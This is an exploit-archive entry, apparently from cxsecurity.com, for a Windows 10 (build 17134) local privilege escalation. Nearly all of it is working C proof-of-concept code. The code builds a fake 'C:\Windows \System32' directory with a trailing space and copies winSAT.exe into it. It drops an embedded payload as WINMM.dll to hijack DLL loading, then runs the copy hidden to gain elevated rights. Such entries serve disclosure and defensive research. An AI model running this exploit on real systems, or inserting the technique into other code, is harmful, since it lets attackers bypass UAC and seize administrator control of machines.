Microsoft Windows 10 Build 17134 Local Privilege Escalation

2018.11.09
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

#include "stdafx.h" #include <Windows.h> #include "resource.h" void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) { HMODULE hMod = GetModuleHandle(NULL); HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName); DWORD dllSize = SizeofResource(hMod, res); void* dllBuff = LoadResource(hMod, res); HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL); DWORD sizeOut; WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL); CloseHandle(hDll); } int main() { _SHELLEXECUTEINFOW se = {}; //Create Mock SystemRoot Directory CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0); CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0); CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false); //Drop our dll for hijack DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll"); //Execute our winSAT.exe copy from fake trusted directory se.cbSize = sizeof(_SHELLEXECUTEINFOW); se.lpFile = L"C:\\Windows \\System32\\winSAT.exe"; se.lpParameters = L"formal"; se.nShow = SW_HIDE; se.hwnd = NULL; se.lpDirectory = NULL; ShellExecuteEx(&se); return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top